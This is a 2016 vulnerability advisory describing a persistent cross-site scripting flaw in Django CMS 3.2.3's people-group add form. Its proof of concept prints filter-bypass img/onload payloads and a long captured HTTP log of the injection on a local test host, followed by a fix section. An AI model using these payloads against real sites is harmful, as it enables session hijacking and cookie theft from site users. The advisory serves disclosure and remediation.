Django CMS v3.2.3 - Filter Bypass & Persistent Vulnerability

Document Title:
===============
Django CMS v3.2.3 - Filter Bypass & Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1821


Release Date:
=============
2016-04-13


Vulnerability Laboratory ID (VL-ID):
====================================
1821


Common Vulnerability Scoring System:
====================================
4.3


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
django CMS is a modern web publishing platform built with Django, the web application framework for perfectionists with deadlines.
django CMS offers out-of-the-box support for the common features you’d expect from a CMS, but can also be easily customised and 
extended by developers to create a site that is tailored to their precise needs.

(Copy of the Homepage: http://docs.django-cms.org/en/3.2.3/index.html )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an application-side vulnerability in the Django v3.2.3 Content Management System.


Vulnerability Disclosure Timeline:
==================================
2016-04-14: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Django Software Foundation
Product: Django Framework - Content Management System 3.2.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (User Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official Django v3.2.3 Content Management System.
The security vulnerability allows remote attackers or privileged user accounts to inject own malicious script codes to the 
application-side of the vulnerable modules web context.

The vulnerability has been located in the `people-group-name-1 cms-render-model (people-group-detail)` value of the 
`/en/footer/people/group/slat/` module POST method request. Remote attackers are able to inject own malicious script 
code to the group name input to provoke a persistent execution. The injection point is the group add module and the 
execution point is the `./people/group/slat/` path. The attacker vector of the vulnerability is persistent and request 
method to inject is POST.

The filter validation of the group input disallows the usage of iframes or script code tags. The img tag with source 
and onload alert (document.cookie / document.domain) allows to bypass the filter validation of the django cms. To inject 
a splitted char inject is required. The second tag executes the context and bypasses the filter validation of the cms.

Exploitation of the vulnerability requires a low privileged web-application user account and low or medium user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external 
redirects to malicious source and persistent manipulation of affected or connected application modules.

Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] Groups (Add)

Vulnerable Parameter(s):
				[+] people-group-name-1 - cms-render-model (people-group-detail)

Affected Module(s):
				[+] Group List


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers and privileged user accounts with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Payload(s)
">"%20"=""><img%20src=a onload=alert(document.domain)<
">"%20"=""><img%20src=a onload=alert(document.cookie)<


PoC: Source (people-group-name-1 cms-render-model)
    <div class="aldryn aldryn-people aldryn-group-detail">
        <div class="cms-placeholder cms-placeholder-129"></div>
        <h2><div class="cms-plugin cms-plugin-aldryn_people-group-name-1 
cms-render-model">"&gt;<[PERSISTENT INJECTED SCRIPT CODE!!!])<</div></h2>
        <div class="cms-placeholder cms-placeholder-131"></div>
    </div>


Status: 302[FOUND]
POST http://django.localhost:8080/en/admin/aldryn_people/group/add/?language=en Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://django.localhost:8080/en/admin/aldryn_people/group/add/?language=en]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI; sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------11444153422927
Content-Disposition: form-data; name="csrfmiddlewaretoken"
xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI
-----------------------------11444153422927
Content-Disposition: form-data; name="en"
-----------------------------11444153422927
Content-Disposition: form-data; name="name"
[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]
-----------------------------11444153422927
Content-Disposition: form-data; name="slug"
[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]
-----------------------------11444153422927
Content-Disposition: form-data; name="description"
[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]
-----------------------------11444153422927
Content-Disposition: form-data; name="phone"
1337
-----------------------------11444153422927
Content-Disposition: form-data; name="fax"
1337
-----------------------------11444153422927
Content-Disposition: form-data; name="email"
-----------------------------11444153422927
Content-Disposition: form-data; name="website"
-----------------------------11444153422927
Content-Disposition: form-data; name="address"
-----------------------------11444153422927
Content-Disposition: form-data; name="postal_code"
-----------------------------11444153422927
Content-Disposition: form-data; name="city"
-----------------------------11444153422927
Content-Disposition: form-data; name="_save"
Save
-----------------------------11444153422927--]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[4]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:20:20 GMT]
      X-Aldryn-App[django-cms-3-2-demo-somijone-stage]
      X-Proxy-Request-Routed[6]
      X-Proxy-Request-Forwarded[6]
      X-Proxy-Response-Received[96]
      Content-Language[en]
      Expires[Fri, 08 Apr 2016 20:20:20 GMT]
      Vary[Cookie]
      Last-Modified[Fri, 08 Apr 2016 20:20:20 GMT]
      Location[http://django.localhost:8080/en/admin/aldryn_people/group/]
      Cache-Control[max-age=0]
      Content-Type[text/html; charset=utf-8]
      Set-Cookie[sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; expires=Fri, 22-Apr-2016 20:20:20 GMT; Max-Age=1209600; Path=/
messages="b11cb8f5979db37174caeca85e61810b42b79d2a$[["__json_message"540542554"The Group ""><iframe src=a onload=alert(document.domain)<   "><iframe src=a onload=alert(document.domain)<" was added successfully."]]"; Path=/]
-
Status: 200[OK]
GET http://django.localhost:8080/en/admin/aldryn_people/group/ Load Flags[LOAD_DOCUMENT_URI  LOAD_REPLACE  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://django.localhost:8080/en/admin/aldryn_people/group/add/?language=en]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI; sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en; messages="b11cb8f5979db37174caeca85e61810b42b79d2a$[["__json_message"540542554"The Group ""><iframe src=a onload=alert(document.domain)<   "><iframe src=a onload=alert(document.domain)<" was added successfully."]]"]
      Connection[keep-alive]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:20:20 GMT]
      X-Aldryn-App[django-cms-3-2-demo-somijone-stage]
      X-Proxy-Request-Routed[3]
      X-Proxy-Request-Forwarded[3]
      X-Proxy-Response-Received[62]
      Content-Language[en]
      Expires[Fri, 08 Apr 2016 20:20:20 GMT]
      Vary[Cookie]
      Last-Modified[Fri, 08 Apr 2016 20:20:20 GMT]
      Cache-Control[max-age=0]
      Content-Type[text/html; charset=utf-8]
      Set-Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI; expires=Fri, 07-Apr-2017 20:20:20 GMT; Max-Age=31449600; Path=/
messages=; expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/]
-
Status: 301[MOVED PERMANENTLY]
GET http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/[PERSISTENT INJECTED SCRIPT CODE!] Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI; sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]
      Connection[keep-alive]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:20:20 GMT]
      X-Aldryn-App[django-cms-3-2-demo-somijone-stage]
      X-Proxy-Request-Routed[3]
      X-Proxy-Request-Forwarded[3]
      X-Proxy-Response-Received[21]
      Content-Type[text/html; charset=utf-8]
      Location[http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/a/]
      Content-Language[en]
-
Status: 200[OK]
GET http://django.localhost:8080/en/admin/cms/page/resolve/?model=&pk= Load Flags[LOAD_BACKGROUND  LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[-1] Mime Type[text/plain]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      X-Requested-With[XMLHttpRequest]
      Referer[http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI; sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]
      Connection[keep-alive]
      If-Modified-Since[Fri, 08 Apr 2016 20:19:26 GMT]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:20:20 GMT]
      X-Aldryn-App[django-cms-3-2-demo-somijone-stage]
      X-Proxy-Request-Routed[2]
      X-Proxy-Request-Forwarded[2]
      X-Proxy-Response-Received[43]
      Content-Language[en]
      Expires[Fri, 08 Apr 2016 20:20:20 GMT]
      Vary[Cookie]
      Last-Modified[Fri, 08 Apr 2016 20:20:20 GMT]
      Cache-Control[max-age=0]
      Content-Type[text/plain]
      Set-Cookie[sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; expires=Fri, 22-Apr-2016 20:20:20 GMT; Max-Age=1209600; Path=/]
-
Status: pending[]
GET http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/[PERSISTENT INJECTED SCRIPT CODE!]/ Load Flags[LOAD_DOCUMENT_URI  LOAD_REPLACE  ] Größe des Inhalts[unknown] Mime Type[unknown]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI; sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]
-
Status: 200[OK]
GET http://django.localhost:8080/en/footer/people/group/slat/ Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI; sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]
      Connection[keep-alive]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:20:21 GMT]
      X-Aldryn-App[django-cms-3-2-demo-somijone-stage]
      X-Proxy-Request-Routed[3]
      X-Proxy-Request-Forwarded[3]
      X-Proxy-Response-Received[449]
      Content-Language[en]
      Expires[Fri, 08 Apr 2016 20:20:21 GMT]
      Vary[Cookie]
      Last-Modified[Fri, 08 Apr 2016 20:20:21 GMT]
      Cache-Control[max-age=0]
      Content-Type[text/html; charset=utf-8]
      Set-Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI; expires=Fri, 07-Apr-2017 20:20:21 GMT; Max-Age=31449600; Path=/]
-
Status: 301[MOVED PERMANENTLY]
GET http://django.localhost:8080/en/footer/people/group/slat/[PERSISTENT INJECTED SCRIPT CODE!] Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://django.localhost:8080/en/footer/people/group/slat/]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI; sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]
      Connection[keep-alive]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:20:22 GMT]
      X-Aldryn-App[django-cms-3-2-demo-somijone-stage]
      X-Proxy-Request-Routed[4]
      X-Proxy-Request-Forwarded[4]
      X-Proxy-Response-Received[21]
      Content-Type[text/html; charset=utf-8]
      Location[http://django.localhost:8080/en/footer/people/group/slat/a/]
      Content-Language[en]


-Status: 200[OK]
GET http://django.localhost:8080/en/footer/people/group/slat/[PERSISTENT INJECTED SCRIPT CODE!]/ Load Flags[LOAD_DOCUMENT_URI  LOAD_REPLACE  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[django.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://django.localhost:8080/en/footer/people/group/slat/]
      Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI; sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]
      Connection[keep-alive]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Fri, 08 Apr 2016 20:20:22 GMT]
      X-Aldryn-App[django-cms-3-2-demo-somijone-stage]
      X-Proxy-Request-Routed[2]
      X-Proxy-Request-Forwarded[2]
      X-Proxy-Response-Received[43]
      Content-Language[en]
      Expires[Fri, 08 Apr 2016 20:20:22 GMT]
      Vary[Cookie]
      Last-Modified[Fri, 08 Apr 2016 20:20:22 GMT]
      Cache-Control[max-age=0]
      Content-Type[text/html]


Reference(s):
http://django.localhost:8080/
http://django.localhost:8080/en/
http://django.localhost:8080/en/admin/
http://django.localhost:8080/en/footer/
http://django.localhost:8080/en/admin/cms/
http://django.localhost:8080/en/footer/people/
http://django.localhost:8080/en/admin/cms/page/
http://django.localhost:8080/en/footer/people/group/
http://django.localhost:8080/en/admin/cms/page/resolve/
http://django.localhost:8080/en/footer/people/group/slat/


Solution - Fix & Patch:
=======================
The vulnerability can be resolved by a secure parse and encode of the vulnerable marked values in the add POST method request.
Encode and filter as well the cms-messages-inner and cms-messages output values in information module. Disallow usage of special 
chars and escapte the entries to prevent further application-side script code injection attacks.


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the django cms is estimated as medium.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
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